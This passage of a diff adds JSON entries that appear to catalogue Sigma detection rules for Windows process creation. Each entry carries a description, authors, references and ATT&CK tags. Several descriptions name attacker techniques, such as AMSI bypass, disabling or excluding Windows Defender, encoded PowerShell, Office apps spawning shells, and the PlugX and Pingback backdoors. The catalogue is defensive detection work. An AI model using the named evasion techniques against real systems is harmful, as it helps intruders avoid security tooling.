{ + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/07", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process." + ], + "filename": "proc_creation_win_ntfs_short_name_path_use_cli.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969", + "value": "Use Short Name Path in Command Line" + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/07", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." + ], + "filename": "proc_creation_win_ntfs_short_name_path_use_image.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/frack113/status/1555830623633375232", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1", + "value": "Use Short Name Path in Image" + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." + ], + "filename": "proc_creation_win_ntfs_short_name_use_cli.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "dd6b39d9-d9be-4a3b-8fe0-fe3c6a5c1795", + "value": "Use NTFS Short Name in Command Line" + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/08/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_ntfs_short_name_use_image.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b", + "value": "Use NTFS Short Name in Image" + }, + { + "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_obfuscated_ip_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_download.yml" + ], + "tags": [ + "attack.discovery" + ] + }, + "uuid": "cb5a2333-56cf-4562-8fcb-22ba1bca728d", + "value": "Obfuscated IP Download" + }, + { + "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_obfuscated_ip_via_cli.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_via_cli.yml" + ], + "tags": [ + "attack.discovery" + ] + }, + "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148", + "value": "Obfuscated IP Via CLI" + }, + { + "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_applications_spawning_wmi_commandline.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_applications_spawning_wmi_commandline.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "518643ba-7d9c-4fa5-9f37-baed36059f6a", + "value": "Office Applications Spawning Wmi Cli" + }, + { + "description": "Detects Office Applications executing a Windows child process including directory traversal patterns", + "meta": { + "author": "@SBousseaden (idea), Christian Burkard (rule)", + "creation_date": "2022/06/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_dir_traversal_cli.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1531653369546301440", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_dir_traversal_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", + "value": "Office Directory Traversal CommandLine" + }, + { + "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "9d1c72f5-43f0-4da5-9320-648cf2099dd0", + "value": "Excel Proxy Executing Regsvr32 With Payload" + }, + { + "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "c0e1c3d5-4381-4f18-8145-2583f06a1fe5", + "value": "Excel Proxy Executing Regsvr32 With Payload" + }, + { + "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", + "meta": { + "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", + "creation_date": "2018/04/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "438025f9-5856-4663-83f7-52f878a70a50", + "value": "Microsoft Office Product Spawning Windows Shell" + }, + { + "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_spawning_wmi_commandline.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawning_wmi_commandline.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "04f5363a-6bca-42ff-be70-0d28bf629ead", + "value": "Office Applications Spawning Wmi Cli" + }, + { + "description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", + "meta": { + "author": "Jason Lynch", + "creation_date": "2019/04/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", + "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.g0046", + "car.2013-05-002" + ] + }, + "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc", + "value": "MS Office Product Spawning Exe in User Dir" + }, + { + "description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/13", + "falsepositive": [ + "Legitimate usage of office automation via scripting" + ], + "filename": "proc_creation_win_office_svchost_child.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", + "https://github.com/med0x2e/vba2clr", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28", + "value": "Svchost Spawning Office Application" + }, + { + "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", + "meta": { + "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", + "creation_date": "2022/02/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_outlook_shell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ] + }, + "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", + "value": "Microsoft Outlook Product Spawning Windows Shell" + }, + { + "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/22", + "falsepositive": [ + "Legitimate use of the PDQDeploy tool to execute these commands" + ], + "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/malmoeb/status/1550483085472432128", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184", + "value": "Suspicious Execution Of PDQDeployRunner" + }, + { + "description": "Detect use of PDQ Deploy remote admin tool", + "meta": { + "author": "frack113", + "creation_date": "2022/10/01", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_pdq_deploy.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md", + "https://www.pdq.com/pdq-deploy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1072" + ] + }, + "uuid": "d679950c-abb7-43a6-80fb-2a480c4fc450", + "value": "Use of PDQ Deploy Remote Adminstartion Tool" + }, + { + "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_persistence_typed_paths.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/dez_/status/1560101453150257154", + "https://forensafe.com/blogs/typedpaths.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba", + "value": "Persistence Via TypedPaths - CommandLine" + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/05/05", + "falsepositive": [ + "Very unlikely" + ], + "filename": "proc_creation_win_pingback_backdoor.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ] + }, + "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", + "value": "Pingback Backdoor" + }, + { + "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/06/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_plugx_susp_exe_locations.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", + "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" + ], + "tags": [ + "attack.s0013", + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", + "value": "Executable Used by PlugX in Uncommon Location" + }, + { + "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", + "meta": { + "author": "Teymur Kheirkhabarov", + "creation_date": "2019/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1574.011" + ] + }, + "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981", + "value": "Possible Privilege Escalation via Service Permissions Weakness" + }, + { + "description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/08/17", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_powershell_amsi_bypass.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mattifestation/status/735261176745988096", + "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c", + "value": "Powershell AMSI Bypass via .NET Reflection" + }, + { + "description": "Detects audio capture via PowerShell Cmdlet.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate audio capture by legitimate user." + ], + "filename": "proc_creation_win_powershell_audio_capture.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ] + }, + "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", + "value": "Audio Capture via PowerShell" + }, + { + "description": "Detects Base64 encoded Shellcode", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/11/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_b64_shellcode.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cyb3rops/status/1063072865992523776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "2d117e49-e626-4c7c-bd1f-c3c0147774c8", + "value": "PowerShell Base64 Encoded Shellcode" + }, + { + "description": "Detect download by BITS jobs via PowerShell", + "meta": { + "author": "Endgame, JHasenbusch (ported to sigma for oscd.community)", + "creation_date": "2018/10/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_powershell_bitsjob.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_bitsjob.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "f67dbfce-93bc-440d-86ad-a95ae8858c90", + "value": "Suspicious Bitsadmin Job via PowerShell" + }, + { + "description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "creation_date": "2020/10/11", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "74403157-20f5-415d-89a7-c505779585cf", + "value": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString" + }, + { + "description": "Detects the PowerShell command lines with reversed strings", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "creation_date": "2020/10/11", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", + "value": "Suspicious PowerShell Cmdline" + }, + { + "description": "Detects the PowerShell command lines with special characters", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unlikely", + "Amazon SSM Document Worker", + "Windows Defender ATP" + ], + "filename": "proc_creation_win_powershell_cmdline_special_characters.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1", + "value": "Suspicious PowerShell Command Line" + }, + { + "description": "Detects specific combinations of encoding methods in the PowerShell command lines", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "creation_date": "2020/10/11", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_powershell_cmdline_specific_comb_methods.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", + "value": "Encoded PowerShell Command Line" + }, + { + "description": "Detects specific combinations of encoding methods in the PowerShell command lines", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "creation_date": "2022/07/06", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_powershell_cmdline_susp_comb_methods.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "5b572dcf-254b-425c-a8c5-d9af6bea35a6", + "value": "Suspicious Encoded PowerShell Command Line" + }, + { + "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/04", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "filename": "proc_creation_win_powershell_defender_base64.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3", + "value": "Powershell Defender Base64 MpPreference" + }, + { + "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/03", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "filename": "proc_creation_win_powershell_defender_disable_feature.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", + "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21", + "value": "Powershell Defender Disable Scan Feature" + }, + { + "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/04/29", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "filename": "proc_creation_win_powershell_defender_exclusion.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "17769c90-230e-488b-a463-e05c08e9d48f", + "value": "Powershell Defender Exclusion" + }, + { + "description": "Detects attackers attempting to disable Windows Defender using Powershell", + "meta": { + "author": "ok @securonix invrep-de, oscd.community, frack113", + "creation_date": "2020/10/12", + 